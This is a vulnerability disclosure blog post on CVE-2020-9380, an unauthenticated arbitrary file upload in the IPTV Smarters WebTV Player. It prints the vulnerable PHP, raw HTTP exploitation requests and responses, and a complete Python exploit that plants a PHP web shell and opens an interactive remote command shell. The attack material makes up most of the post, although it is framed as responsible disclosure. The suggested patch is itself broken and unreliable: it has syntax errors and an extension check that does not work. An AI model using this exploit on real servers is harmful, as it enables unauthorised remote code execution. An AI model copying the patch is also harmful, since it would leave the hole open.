IPTV Smarters Exploit: CVE-2020–9380

Anderson Pablo
5 min readMar 9, 2020

--

CVE Register Link:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9380

https://nvd.nist.gov/vuln/detail/CVE-2020-9380

https://vuldb.com/?id.150963

IPTV SMARTERS:

IPTV Smarters is a software company focused on white-label IPTV Solutions. One of their products is a WebTV Player that allows clients to watch TV from their browsers, like Chrome and Firefox.

IPTV SMARTERS

FLAW DESCRIPTION:

The Arbitrary File Upload allows the attacker to upload any type of files that can be executed in the product side [1].

We’ve detected a code execution from a file upload form. Therefore, allowing a successful file upload and execution in the server.

The server can be compromised by uploading a web shell that allows command execution, such as directory listing, download of files and more.

HOW TO AVOID THIS? HERE SOME TIPS:

  • Checking the file extension and mime type upon upload.
  • Giving the right permission to the upload directory

WHAT DID WE FIND?

The WebTV Player file includes/ajax-control.php from any application version allows an unauthenticated user to upload any kind of file in the server.

player_install.php

STEPS TO REPRODUCE:

Proof-Of-Concept

The code below does not prevent the arbitrary file upload:

file includes/ajax-control.php:

.php:

<?php/*
* @ PHP 5.6
* @ Decoder version : 1.0.0.1
* @ Release on : 24.03.2018
* @ Website : http://EasyToYou.eu
*/
session_start();
if (file_exists(“functions.php”)) {
include_once “functions.php”;
if (isset($_FILES[“logoImage”])) {
$target_dir = “../images/”;
$target_file = $target_dir . basename($_FILES[“logoImage”][“name”]);
if (move_uploaded_file($_FILES[“logoImage”][“tmp_name”], $target_file)) {
echo “images/” . $_FILES[“logoImage”][“name”];
exit;
}
echo “errorImage”;
exit;
}

Injection Request

POST /includes/ajax-control.php HTTP/1.1
Host: site-site123.com
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 252
Content-Type: multipart/form-data; boundary=cfe1fd198e59444c96a7ca4f0d8495fd
Cookie: PHPSESSID=vodfc4tsh6prk2lkht8bra5nr2
Origin: http://site-site-123.com
Referer: http://site-site123.com/player_install.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Disposition: form-data; name="logoImage"; filename="file.php"
Content-Type: application/octet-stream

Identification Request

GET /images/file.php HTTP/1.1
Host: site-site123.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=vodfc4tsh6prk2lkht8bra5nr2
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36

Injection Response

HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Content-Length: 2
Content-Type: text/html; charset=UTF-8
Date: Mon, 17 Feb 2020 16:20:28 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
images/file.php

Identification Response

HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 2
Content-Type: text/html; charset=UTF-8
Date: Mon, 17 Feb 2020 16:20:29 GMT
OK

We created a PoC Exploit to automate the attack.

The script was developed using the language python version 3.

SCREENSHOT:

The github link and source-code can be found bellow:

https://github.com/migueltarga/CVE-2020-9380/blob/master/gld.py

gld.py

#!/usr/bin/env python3
#
# Exploit for IPTV Smarters WebPlayer ( http://www.whmcssmarters.com/ )
import argparse
import requests
import sys
def pr_ok(msg):
print('[+] {}'.format(msg))
def pr_err(msg, exit=True, rc=1):
print('[-] {}'.format(msg))
if exit:
sys.exit(rc)
def pr_info(msg):
print('[*] {}'.format(msg))
def _banner():
ban = """+---------------------------------------------------+
| _ _ _ |
| __ _ __ _| | __ _ __| | ___ __ ___ __ | | |
| / _` |/ _` | |/ _` |/ _` |/ _ \ \ \/ / '_ \| | |
| | (_| | (_| | | (_| | (_| | (_) | > <| |_) | | |
| \__, |\__,_|_|\__,_|\__,_|\___(_)_/\_\ .__/|_| |
| |___/ |_| |
| ------------------------------------------------- |
| IPTV Smarters Web Player |
| Arbitrary File Upload (CVE-2020-9380) |
| @migueltarga @anderson_pablo @8vw @douglasduffor |
+---------------------------------------------------+"""
return ban
def run(session, url, command):
try:
r = session.get(url+'/images/galado.php?cmd='+command)
except Exception as e:
pr_err(e)
print r.text
def main():
banner = _banner()
parser = argparse.ArgumentParser()
sys.stdout.write('{}\n\n'.format(banner))
parser.add_argument('--url', '-u', required=True, type=str)
parser.add_argument('--interactive', '-i', default=False, action='store_true')
parser.add_argument('--command', '-c', type=str)
args = parser.parse_args()
if (args.command and args.interactive) or (not (args.interactive or args.command)):
pr_err('Either --command or --interactive required.')
exploit_url = args.url + '/includes/ajax-control.php'
files = {'logoImage': ('galado.php', '<?php system($_GET["cmd"]); ?>')}
session = requests.Session()try:
pr_info('Checking if IPTV Smarters is installed')
r = session.get(exploit_url)
except Exception as e:
pr_err(e)
if r.status_code != 200:
pr_err('Web Player not found in this URL...')
try:
content = requests.post(exploit_url, files=files)
except Exception as e:
pr_err(e)
if content.text != 'images/galado.php':
pr_err('Web Player not vulnerable!')
if args.command:
run(session, args.url, args.command)
run(session, args.url, 'rm galado.php')
elif args.interactive:
pr_ok('Entering interactive shell; type "quit" or ^D to quit')
while True:
try:
cmd = raw_input('> ')
except EOFError:
sys.exit(0)
if cmd in ['quit', 'q', 'exit']:
run(session, args.url, 'rm galado.php')
sys.exit(0)
run(session, args.url, cmd)if __name__ == '__main__':
main()

Video demo:

External References:

CLASSIFICATION

CVSS 3.0

Base: 10.0 (Critical)

Temporal: 10.0 (Critical)

Environmental: 10.0 (Critical)

To fix the bug you can try the following:

  • Update to an unaffected web player
  • Change permissions on your upload folder to control uploads
  • validate uploads by checking mime types to prevent upload of malicious php scripts

Patch php:

https://github.com/migueltarga/CVE-2020-9380/blob/master/patch/ajax-control.php

<?php
//Vulnerability 1: Arbitrary File Upload

if (isset($_FILES["logoImage"])) {
//added to check file extentions
$file_ext=pathinfo($_FILES['logoImage']['name']);
$extensions= array("jpeg","jpg","png","JPEG","JPG","PNG");
if(in_array($file_ext,$extensions)=== false){echo 'Not a valid file ext.';die("Error")}
//end of check
$target_dir = "../images/";
$target_file = $target_dir . basename($_FILES["logoImage"]["name"]);
if (move_uploaded_file($_FILES["logoImage"]["tmp_name"], $target_file)) {
echo "images/" . $_FILES["logoImage"]["name"];
exit;
}
echo "errorImage";
exit;
}

//Vulnerability 2: Code Injection

if (isset($_POST["action"]) && $_POST["action"] == "installation") {
//check to see if form data came from same REFERER
if ((isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']))) {
if (strtolower(parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST)) != strtolower($_SERVER['HTTP_HOST'])) {
die("Error")
}
}
//end check
$response["result"] = "no";
$content = "<?php \n";
$content .= "\$XCStreamHostUrl = \"" . $_POST["HostUrlVal"] . "\";" . "\n";
$content .= "\$XClogoLinkval = \"" . $_POST["logoLinkval"] . "\";" . "\n";
$content .= "\$XCcopyrighttextval = \"" . $_POST["copyrighttextval"] . "\";" . "\n";
$content .= "\$XCcontactUslinkval = \"" . $_POST["contactUslinkval"] . "\";" . "\n";
$content .= "\$XChelpLinkval = \"" . $_POST["helpLinkval"] . "\";" . "\n";
$content .= "\$XClicenseIsval = \"" . $_POST["licenseIsval"] . "\";" . "\n";
$content .= "\$XClocalKey = \"" . $_POST["LocalKey"] . "\";" . "\n";
$content .= "\$XCsitetitleval = \"" . $_POST["sitetitleval"] . "\";" . "\n";
$content .= "?>";
if (file_exists("../configuration.php")) {
unlink("../configuration.php");
}
$fp = fopen("../configuration.php", "w");
fwrite($fp, $content);
fclose($fp);
chmod("../configuration.php", 511);
if (file_exists("../configuration.php")) {
$response["result"] = "yes";
}
echo json_encode($response);
exit;
}
?>

General considerations:

We believe that the demonstration of vulnerability and responsible communication makes the internet safer for everyone.

Obviously we cannot be held responsible for acts of third parties.

REFERENCES

[1] https://cwe.mitre.org/data/definitions/434.html

[2] https://github.com/migueltarga/CVE-2020-9380

--

--

Anderson Pablo

Data Scientist. Web and Mobile Developer. Enthusiast in infosec.